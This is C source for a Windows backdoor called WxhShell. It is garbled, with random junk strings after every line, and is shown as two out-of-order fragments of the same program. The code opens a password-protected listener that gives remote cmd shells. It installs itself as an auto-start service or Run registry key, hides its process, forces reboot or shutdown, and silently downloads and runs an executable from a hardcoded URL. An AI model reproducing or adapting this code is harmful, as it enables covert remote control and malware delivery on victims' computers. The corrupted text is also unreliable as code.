  // 关机  :q;vZ6Xd  
  case 'd': { TF|GGY i  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); o&g=Z4jj<  
    if(Boot(SHUTDOWN)) W$N_GR'4  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5bv(J  T  
    else { H0 km*5Sn  
    closesocket(wsh); 1;SW% \M  
    ExitThread(0); u7fae$:&  
    } 9fvy)kX;s  
    break; h(]O;a-  
    } oj$D3  
  // 获取shell @pYAqX2  
  case 's': { i+Px &9o<9  
    CmdShell(wsh); `f*?|)  
    closesocket(wsh); Ws4aCH1  
    ExitThread(0); N+b" LZc  
    break; ;yY>SaQ  
  } tn6\0_5n  
  // 退出 v(FO8*5DZ  
  case 'x': { `HgT5}  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); '7 6}6G%  
    CloseIt(wsh); U[c,cdA  
    break; fa/ '4  
    } ai`fP{WlX  
  // 离开 8G1Tpn  
  case 'q': { 8Y sn8  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); MT$OjH'Q`  
    closesocket(wsh); @?3u|m |Z  
    WSACleanup(); 8 ]dhNA5  
    exit(1); w%VHq z$  
    break; 2hw3+ o6  
        } \5k[ "8~  
  } 4NQS'*%D  
  } bh6Mh< +  
E xc`>Y q  
  // 提示信息 I^[R]Js  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); E%3WJ%A  
} tKo ^A:M  
  } z~A||@4'  
O=MO M  
  return; `w@fxv   
} PGP9-M  
Zu_m$Mx  
// shell模块句柄 XtNe) Ry  
int CmdShell(SOCKET sock) O:+#k-?  
{ s IY`H^  
STARTUPINFO si; %^p1ax  
ZeroMemory(&si,sizeof(si)); {uL<$;#i  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; gZM\RJZ_  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; x!{5.#  
PROCESS_INFORMATION ProcessInfo; /$! / F@^  
char cmdline[]="cmd"; *["9;_KD  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); gPT-zul  
  return 0; uPsn~>(4  
} *,%H1)Tj}  
` *&*jdq&i  
// 自身启动模式 mF%>pj&b  
int StartFromService(void) ZQD_w#0j  
{ /wljb b/s  
typedef struct \%KJ +PJ  
{ r'7;:  
  DWORD ExitStatus; KX"?3#U#Fm  
  DWORD PebBaseAddress; .YYiUA-i9n  
  DWORD AffinityMask; yXh=~:1~  
  DWORD BasePriority; hW~,Uqy  
  ULONG UniqueProcessId; Z WL/AC  
  ULONG InheritedFromUniqueProcessId; !<h*\%;  
}   PROCESS_BASIC_INFORMATION; W% YJ.%I  
SJ6lI66OX  
PROCNTQSIP NtQueryInformationProcess; VSx[{yn  
~x)Awdlu  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; E&Pv:h,pV&  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; `pn]jpW9  
3=o3VGZP  
  HANDLE             hProcess; 6;dQ#wmg  
  PROCESS_BASIC_INFORMATION pbi; `4'v)!?  
pZ/x,b#.  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); @g }r*U?  
  if(NULL == hInst ) return 0; =W.b7 6_  
ctTg-J2.  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); [uT& sZxmg  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); _ "&b%!  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 7m~+HM\  
-7fsfcGM$  
  if (!NtQueryInformationProcess) return 0; ~ k/'_1)c  
&$lz@Z  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Lco JltY{5  
  if(!hProcess) return 0; Y#{ L}  
[c +[t3dz  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; |_&vW\  
VE+Q Y9(  
  CloseHandle(hProcess); ^Y8?iC<+  
a9j f7r1  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); = 7d{lK  
if(hProcess==NULL) return 0; p[4KN(PyK  
- K0>^2hh  
HMODULE hMod; e[$=5U~c  
char procName[255]; q!\K!W\  
unsigned long cbNeeded; oS 7q#`  
)[|TxXz d  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); N\ChA]Ck  
gXZC%S  
  CloseHandle(hProcess); fW~r%u .y  
m Y*JNx  
if(strstr(procName,"services")) return 1; // 以服务启动 3,DUT{2  
a6wPkf7-H  
  return 0; // 注册表启动 \XFF(  
} i+( k  
3.Z}2F]  
// 主模块 K'kWL[Ut!  
int StartWxhshell(LPSTR lpCmdLine) qPDe;$J)  
{ -`sK?*[{J  
  SOCKET wsl; H:Y?("k  
BOOL val=TRUE; 1v)ur\>R  
  int port=0; %ZF47P%6  
  struct sockaddr_in door; tGDsZ;3Yr  
Jz(wXp  
  if(wscfg.ws_autoins) Install(); C ?JcCD2  
?9'Ukw` g  
port=atoi(lpCmdLine); \=Rw/[lR  
ad+@2-Y  
if(port<=0) port=wscfg.ws_port; ))- B`vi  
[vh&o-6  
  WSADATA data; OPOL-2<wiy  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; j;6kN-jx  
_Cn[|E  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   D@A@5pvS  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); )F*;7]f  
  door.sin_family = AF_INET; :ZX#w`Y  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); `d]D=DtH  
  door.sin_port = htons(port); k|Mj|pqA  
f|Dq#(^\  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { }GI8p* ]o=  
closesocket(wsl); i E p{  
return 1; t M?3oO  
} M9so3L<N0  
z0|%h?N  
  if(listen(wsl,2) == INVALID_SOCKET) { ;U$Fz~rJ  
closesocket(wsl); fGGGz$;N  
return 1; jyB^a;-  
} $0+n0*fp  
  Wxhshell(wsl); 1@" L  
  WSACleanup(); 6WUP#c@{  
vU|=" #  
return 0; T7+_/ Qh  
9?W!E_  
} f4{O~?=  
0P)"_x_  
// 以NT服务方式启动 BO]}E:C9  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) G_OLUuK?C  
{ uRIa Nwohv  
DWORD   status = 0; nz-( 8{ae  
  DWORD   specificError = 0xfffffff; o m9zb&{tu  
A_nu:K-  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 1:{BC2P  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 4l)Q  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ";vP77|m7R  
  serviceStatus.dwWin32ExitCode     = 0; R|tf}~u !x  
  serviceStatus.dwServiceSpecificExitCode = 0; aG&ay3[&  
  serviceStatus.dwCheckPoint       = 0; >2kjd  
  serviceStatus.dwWaitHint       = 0; gxa@da  
`]*BDSvE  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); aJ;6!WFW  
  if (hServiceStatusHandle==0) return; -%I 0Q  
4<c #3]  
status = GetLastError(); vdS)EIt  
  if (status!=NO_ERROR) `)Z+]5:  
{ 0xZX%2E  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; BZUA/;Hz &  
    serviceStatus.dwCheckPoint       = 0; Fqr}zR)  
    serviceStatus.dwWaitHint       = 0; XHX$Ur9  
    serviceStatus.dwWin32ExitCode     = status; :>G3N+A)  
    serviceStatus.dwServiceSpecificExitCode = specificError; ;giW  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); RlW7l1h&  
    return; >n!,KUu]  
  } g#Doed.30=  
Xj;\ROBH-  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; FXF#v>&  
  serviceStatus.dwCheckPoint       = 0; wfE%` 1  
  serviceStatus.dwWaitHint       = 0; 4pkTOQq_tQ  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); vbn'CY]QU  
} RMrrLT  
C{"uz_Gh  
// 处理NT服务事件,比如:启动、停止  fa=OeuI  
VOID WINAPI NTServiceHandler(DWORD fdwControl) z'9Mg]&>  
{ `%a+LU2  
switch(fdwControl)  ~wX4j  
{ UN,y /V  
case SERVICE_CONTROL_STOP: 3aK/5)4|B  
  serviceStatus.dwWin32ExitCode = 0; l>H G|ol  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; JsA9Xdk`  
  serviceStatus.dwCheckPoint   = 0; J&<uP)<  
  serviceStatus.dwWaitHint     = 0; 74hQ?Atw:  
  { GiF})e}  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); G\HU%J  
  } Z T5p  
  return; nV$ctdusQ  
case SERVICE_CONTROL_PAUSE: a%h'utF{[  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Nvef+L,v  
  break; `6t3D&.u0  
case SERVICE_CONTROL_CONTINUE: |H(Mmqgk  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; $ZQ?E^> B  
  break; SdI/  
case SERVICE_CONTROL_INTERROGATE: 2k^dxk~$V;  
  break; wG&+*,}  
}; =XT'D@q~W  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); [xVE0l*\   
} E?& x5?  
gw1| ?C  
// 标准应用程序主函数 D(GAC!|/]  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 0M?nXHA[  
{ tv_Cn w  
i>M*ubWE4@  
// 获取操作系统版本 =&- hU|ur  
OsIsNt=GetOsVer(); >Kd(.r[Er  
GetModuleFileName(NULL,ExeFile,MAX_PATH); &<u pjb  
GC3:ZpV`  
  // 从命令行安装 N1V qK  
  if(strpbrk(lpCmdLine,"iI")) Install(); 6$'6x2,  
}/Wd9x  
  // 下载执行文件 {,5=U@J  
if(wscfg.ws_downexe) { v!;E1  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) KAg<s}gQJ  
  WinExec(wscfg.ws_filenam,SW_HIDE); dwc$?Bg,5  
} %5_eos&<^)  
V.IgEE]  
if(!OsIsNt) { AJ;Y Nb  
// 如果时win9x,隐藏进程并且设置为注册表启动 RRD\V3C84  
HideProc(); 6, Q{/  
StartWxhshell(lpCmdLine); ifu "e_^  
} !U"1ZsO)l  
else >4d2IO1\  
  if(StartFromService()) xNNoB/DR  
  // 以服务方式启动 f77uqv(Y  
  StartServiceCtrlDispatcher(DispatchTable); i\S } aCm  
else c;w~-7Q*|  
  // 普通方式启动 Av*R(d=`  
  StartWxhshell(lpCmdLine); hfY Ieb#91  
'aB0abr|  
return 0; s0Ii;7fA{  
} @o+T<}kWX  
S,5>g07-`  
N(?yOB4gt  
?ng?>!  
=========================================== =+{.I,g}g@  
fB5Bh;K  
>GiM?*cC  
#R|M(Z">q  
W%09.bF  
OwP9=9};  
" NQ<~$+{  
-A9 !Y{Z  
#include <stdio.h> q[]!V0Ek10  
#include <string.h> #VC^><)3  
#include <windows.h> +1p>:cih  
#include <winsock2.h> FTt7o'U  
#include <winsvc.h> qH6DZ|  
#include <urlmon.h> )J_!ZpMC  
>TsJ0E?3x  
#pragma comment (lib, "Ws2_32.lib") $*%Ml+H-  
#pragma comment (lib, "urlmon.lib") Cc]s94  
i^uC4S~  
#define MAX_USER   100 // 最大客户端连接数 Bh*~I_Ta>  
#define BUF_SOCK   200 // sock buffer ja~b5Tf9  
#define KEY_BUFF   255 // 输入 buffer %_1~z[Dv  
t1B0M4x9  
#define REBOOT     0   // 重启 3h"; 2  
#define SHUTDOWN   1   // 关机 Pp GNA  
5v~Y>  
#define DEF_PORT   5000 // 监听端口 ^lu)'z%6  
5 d(A(  
#define REG_LEN     16   // 注册表键长度 |.:O$/ Tt[  
#define SVC_LEN     80   // NT服务名长度 a-Cp"pKlVY  
P1 (8foZA  
// 从dll定义API 5S$HDO&  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); HtEjM|zj  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 5G){7]P+r"  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); {<~XwJ.  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 1elcP`N1  
2{p`"xX  
// wxhshell配置信息 ]rn!+z  
struct WSCFG { ;y6Jo  
  int ws_port;         // 监听端口 N,'JQch},8  
  char ws_passstr[REG_LEN]; // 口令 #Opfc8pm'  
  int ws_autoins;       // 安装标记, 1=yes 0=no 'QT(TF>  
  char ws_regname[REG_LEN]; // 注册表键名 )\^o<x2S  
  char ws_svcname[REG_LEN]; // 服务名 4PD"[a="  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 kc8GnKM&mc  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 rxa"ji!)  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 YhLtf(r  
int ws_downexe;       // 下载执行标记, 1=yes 0=no J~gfMp.  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" N>ct`a)BD/  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 pJa FPO..|  
]N=C%#ki!  
}; y13=y}dyDH  
$o]zNW;X  
// default Wxhshell configuration >+vWtO 2  
struct WSCFG wscfg={DEF_PORT, x0lX6 |D  
    "xuhuanlingzhe", t s ?b[v  
    1, d'[aOH4}  
    "Wxhshell", c_ygwO3.Q  
    "Wxhshell", fy_'K}i3k  
            "WxhShell Service", N8D'<BUC  
    "Wrsky Windows CmdShell Service", 3<mv9U(  
    "Please Input Your Password: ", /=e[(5X|O  
  1, _"0n.JQg  
  "http://www.wrsky.com/wxhshell.exe", n+Ag |.,|  
  "Wxhshell.exe" m\Tq0cT$  
    }; (sqS(xIY  
RTY$oUqlZ  
// 消息定义模块 >P0AGZ  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; huKz["]z[  
char *msg_ws_prompt="\n\r? for help\n\r#>"; _L$)~},cT  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; -|)[s[T~m  
char *msg_ws_ext="\n\rExit."; X2@o"xU  
char *msg_ws_end="\n\rQuit."; lZ)u4_  
char *msg_ws_boot="\n\rReboot..."; 'E&K%/d  
char *msg_ws_poff="\n\rShutdown..."; `=KrV#/758  
char *msg_ws_down="\n\rSave to "; _ZS<zQ'  
:T{or-  
char *msg_ws_err="\n\rErr!"; *(>$4$9n  
char *msg_ws_ok="\n\rOK!"; 8OFrW.>[  
bR8)s{p6  
char ExeFile[MAX_PATH]; (QRl -| +  
int nUser = 0; w5*18L=O\  
HANDLE handles[MAX_USER]; c=b\9!hr_E  
int OsIsNt; /GeS(xzQ  
Aw;vg/#~md  
SERVICE_STATUS       serviceStatus; w9$8t9$|  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; fhKiG%i'l  
~+C?][T  
// 函数声明 !" %sp6Wc  
int Install(void); @BUqQ9q:  
int Uninstall(void); R Sz[6  
int DownloadFile(char *sURL, SOCKET wsh); 2F @)nh  
int Boot(int flag); Xe;(y "pR  
void HideProc(void); 7CM03R[P  
int GetOsVer(void); GA.bRN2CI2  
int Wxhshell(SOCKET wsl); FK# E7 K  
void TalkWithClient(void *cs); ih |Ky+!  
int CmdShell(SOCKET sock); 3n(gfQo-o  
int StartFromService(void); 1Dp @n  
int StartWxhshell(LPSTR lpCmdLine); yr2L  
cuaNAJ  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); QhQ"OVFr#  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); -MU.Hu  
Yc`j   
// 数据结构和表定义 wZ8 MhE  
SERVICE_TABLE_ENTRY DispatchTable[] = V< ApHb  
{ &4&33D  
{wscfg.ws_svcname, NTServiceMain}, e ]o'i;I  
{NULL, NULL} ~vSAnjeR  
}; dP7Vs a+  
5b1uD>,;y  
// 自我安装 E\~ KVn  
int Install(void) i4zV(  
{ |F@xwfgb  
  char svExeFile[MAX_PATH]; br;H8-   
  HKEY key; cPsn]U  
  strcpy(svExeFile,ExeFile); Ldhk^/+  
XL PpxG  
// 如果是win9x系统,修改注册表设为自启动 6QLQ1k`  
if(!OsIsNt) { 3 t88AN=4  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { $@_t5?n``F  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); \!JS7!+  
  RegCloseKey(key); N^ s!!Sbpq  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Zfy~mv$  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); -}X?2Q  
  RegCloseKey(key); QhX C>)PW  
  return 0; 4[#6<Ixf  
    } 1%spzkE 3P  
  } + sywgb)  
} A ,-V$[;~D  
else { }\f(qw  
:Wg-@d  
// 如果是NT以上系统,安装为系统服务 zn V1kqGU  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); !/6\m!e|1R  
if (schSCManager!=0) y=9Dxst"V  
{ _jTwiuMS-  
  SC_HANDLE schService = CreateService i#RElH  
  ( O~h94 B`  
  schSCManager, w}j6 .r  
  wscfg.ws_svcname, vS$oT]-hKE  
  wscfg.ws_svcdisp, 97Zk P=Cq  
  SERVICE_ALL_ACCESS, 3WCqKXJ7  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , m0|Ae@g~3  
  SERVICE_AUTO_START, HkdN=q  
  SERVICE_ERROR_NORMAL, GG_^K#*  
  svExeFile, !@pV)RUv7  
  NULL, ?""\  
  NULL, xvR?~  
  NULL, "7kgez#Y  
  NULL, j|[(*i%7|  
  NULL tw'hh@7-Y  
  ); )W8L91-  
  if (schService!=0) q%-&[%l  
  { 9H h~ nR?  
  CloseServiceHandle(schService); (Qk&g"I  
  CloseServiceHandle(schSCManager); K85_>C%g  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Hz}+SAZ  
  strcat(svExeFile,wscfg.ws_svcname); F0&~ ?2nG  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 2{t)DUs  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); dD/t_ {h  
  RegCloseKey(key); 4}Q O!(  
  return 0; )=jT_?9b   
    } f?%qUD_#  
  } (R_CUH  
  CloseServiceHandle(schSCManager); atY *8I|  
} ;/@?6T"  
} J`w]}GlH  
eo1&.FQu  
return 1; f49"pTw7  
} i2$*}Cu  
> P<z |8  
// 自我卸载 M#OH Y *  
int Uninstall(void) Zc-#;/b3T  
{ ^ED"rMI  
  HKEY key; g<fDY6jt  
:T_'n,  
if(!OsIsNt) { tM&n3MWQ  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { i"L }!5  
  RegDeleteValue(key,wscfg.ws_regname); Z'Kd^`mt 9  
  RegCloseKey(key); sN m,Fmuz:  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 3brb*gI_b  
  RegDeleteValue(key,wscfg.ws_regname); ZB828T3  
  RegCloseKey(key); @l'G[jN5  
  return 0; I>{!U$  
  } np\st7&f6  
} @ ]f3| >I  
} -b cG[W3  
else { <eY %sFq,  
NZ>7dJ  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); )ZGYhE  
if (schSCManager!=0) e RA7i  
{ [|4}~UV  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); q]px(  
  if (schService!=0) f`9JE8  
  { || [89G  
  if(DeleteService(schService)!=0) { \yNQQ$B  
  CloseServiceHandle(schService); EYkj@ .,  
  CloseServiceHandle(schSCManager); :c y >c2  
  return 0; +0J@y1  
  } 6 mCq/$  
  CloseServiceHandle(schService); X8Xn\E  
  } MM#i t=u  
  CloseServiceHandle(schSCManager); Q"%QQo}}  
} ahA{B1M)n  
} 4U?<vby  
_#!U"hkH  
return 1; 1 tPVP  
} bDDqaO ,8  
ocF>LR%P  
// 从指定url下载文件 j$Nf%V 6Y  
int DownloadFile(char *sURL, SOCKET wsh) r| f-_D  
{ +3;Ody"59  
  HRESULT hr; :\b|dvI<  
char seps[]= "/"; .n`( X#,*l  
char *token; /Pvk),ca  
char *file; f2yq8/J8.  
char myURL[MAX_PATH]; GRT] aw  
char myFILE[MAX_PATH]; @4drjT  
T~Ly^|Ihz  
strcpy(myURL,sURL); p&^J=_O  
  token=strtok(myURL,seps); w2{g,A|  
  while(token!=NULL) (WRMaI72(  
  { vT c7an6fy  
    file=token; )JhT1j Qc  
  token=strtok(NULL,seps); *%\mZ,s"  
  } #6=MKpR  
lpy:3`ti  
GetCurrentDirectory(MAX_PATH,myFILE); Kb&V!#o)  
strcat(myFILE, "\\"); QXVC\@  
strcat(myFILE, file); h?Nek+1'  
  send(wsh,myFILE,strlen(myFILE),0); A1),el-^5  
send(wsh,"...",3,0); -\#lF?fzb  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Icx7.Y  
  if(hr==S_OK) A&zS'toU  
return 0; c~imE%  
else $6h*l T<  
return 1; a460|w6  
icgJ;Q 5  
} KjYAdia:H  
@;iXp>&&  
// 系统电源模块 s5D:  
int Boot(int flag) ])w[   
{ BT,b-= ;J-  
  HANDLE hToken; lpgd#vr  
  TOKEN_PRIVILEGES tkp; tY+$$GSQj  
6na^]t~ncm  
  if(OsIsNt) { 8Pmdk1 ~  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); IP3E9z_ L  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); bsS:"/?>  
    tkp.PrivilegeCount = 1; T2FE+A]n9  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; $t}<85YCQ  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); &nj&:?w  
if(flag==REBOOT) { &GhPvrxI?  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) mi,&0xDe a  
  return 0; ,"\@fwy{  
} ;_O)p,p  
else { ]:ZdV9`  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) V}WB*bE  
  return 0; -e*ZCwQ  
} zMi; A6  
  } Y?d9l  
  else { !w39FfU{  
if(flag==REBOOT) { x=q;O+7]  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) BU|#e5  
  return 0; lpB3&H8&  
} @FO) 0  
else { ?jx1R^  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) J h&~ToF!  
  return 0; Q~{H@D`<  
} CW&.NT  
} Ztr Cv?  
"N?+VkZEv  
return 1; nkfZiyx  
} j|4C\~i  
^T::-pN*  
// win9x进程隐藏模块 g%[c<l9  
void HideProc(void) LJ)5W  
{ 'Ft0Ry<OL  
7*5Z  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); HlvuW(,x=  
  if ( hKernel != NULL ) aJ") <_+  
  { 9H-|FNz?c  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); c2t=_aAIPQ  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ?iI4x%y  
    FreeLibrary(hKernel); jRSUp E8  
  } ,'xYlH3s  
{(U %i\F\  
return; aI^/X {d  
} ZOCDA2e(j  
Od4E x;F  
// 获取操作系统版本 InXn%9]p]  
int GetOsVer(void) ydRC1~f0  
{ ,(8;y=wux  
  OSVERSIONINFO winfo; g L_Y,A~Q{  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); l&iq5}[n&  
  GetVersionEx(&winfo); OxI/%yv-c  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) u/cg|]x&T  
  return 1; +gtrt^:]l  
  else r\qj!   
  return 0; OQW#a[=WQ  
} :8CvRO*<  
%?e& WLS  
// 客户端句柄模块 ]o cWt3|  
int Wxhshell(SOCKET wsl) + s- lCz  
{ }:X*7 n(&  
  SOCKET wsh;  J5^'HU3  
  struct sockaddr_in client; Ecd;<$tk  
  DWORD myID; rE}%KsZ  
yE}}c{hSn  
  while(nUser<MAX_USER) At-U2a#J{  
{  =-IbS}3  
  int nSize=sizeof(client); Z ?wU  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); b0lq\9  
  if(wsh==INVALID_SOCKET) return 1; su*'d:L  
S H!  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); "jG}B.l=,  
if(handles[nUser]==0) c-B cA  
  closesocket(wsh); .zi_[  
else zT!drq:x  
  nUser++; D#3\y*-y?  
  } 1v71rf&w  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); j'A_'g'^  
TWA-.>c  
  return 0; xai*CY@cQ  
} a!=D[Gz*5  
<1uZa  
// 关闭 socket Wf|Q$MHos  
void CloseIt(SOCKET wsh) Tj:B!>>  
{  #"@|f  
closesocket(wsh); HMSO=)@+  
nUser--; vEJWFoeEFm  
ExitThread(0); wne,e's}   
} gt@m?w(  
59h)-^!  
// 客户端请求句柄 jPUwSIP  
void TalkWithClient(void *cs) 3kybLOG  
{ =ALTUV3/q  
y*qVc E  
  SOCKET wsh=(SOCKET)cs; 4 o Fel.o  
  char pwd[SVC_LEN]; aDU<wxnSvO  
  char cmd[KEY_BUFF]; ,J+}rPe"sf  
char chr[1]; .+$ Q<L  
int i,j; Q+[n91ey**  
>T^;MS  
  while (nUser < MAX_USER) { ~E17L]ete  
JRB9rSN^  
if(wscfg.ws_passstr) { JMC. w!  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); fD[*_^;h)  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); qLD ?juas  
  //ZeroMemory(pwd,KEY_BUFF); dYJ(!V&  
      i=0; T&6l$1J  
  while(i<SVC_LEN) { |-:()yxs  
NPy&OcRl  
  // 设置超时 9jM}~XvV  
  fd_set FdRead; -t!~%_WCv  
  struct timeval TimeOut; rNXQf'*I  
  FD_ZERO(&FdRead); ~vm%6CABM  
  FD_SET(wsh,&FdRead); )_YX DU  
  TimeOut.tv_sec=8; "@V Y  
  TimeOut.tv_usec=0; hOjk3 k  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); P3x8UR=fS  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 5_GYrR2  
y%"{I7!A  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); <cps2*'  
  pwd=chr[0]; Ni9/}bb  
  if(chr[0]==0xd || chr[0]==0xa) { xQ7l~O b  
  pwd=0; rBQ_iB_  
  break; }T(D7|^R  
  } zu_8># i-  
  i++; }|h# \$w  
    } `V}q-Zdy  
ejSji-Qd  
  // 如果是非法用户,关闭 socket g];!&R-  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); KI"#f$2&  
} .]8ZwAs=&  
G30-^Tr   
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); yb<fpM  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 5AFJC?   
}7b%HTF=  
while(1) { ROH|PKb7  
!z\h| wU+  
  ZeroMemory(cmd,KEY_BUFF); ">\?&0  
T^zXt?  
      // 自动支持客户端 telnet标准   tH!]Z4}u  
  j=0; ju8> :y8  
  while(j<KEY_BUFF) { 9)l$ aBa  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 6fkRrD  
  cmd[j]=chr[0]; Ki;*u_4{  
  if(chr[0]==0xa || chr[0]==0xd) { ^ gdaa>L  
  cmd[j]=0; nGC/R&  
  break; !Jo_"#5  
  } mVj9, q0  
  j++; 3/P1!:g9  
    } lov!o: dJ  
K%t*8 4j  
  // 下载文件 CXH&U@57{  
  if(strstr(cmd,"http://")) { GV1pn) 4  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); dn& s*  
  if(DownloadFile(cmd,wsh)) W8G,=d}6  
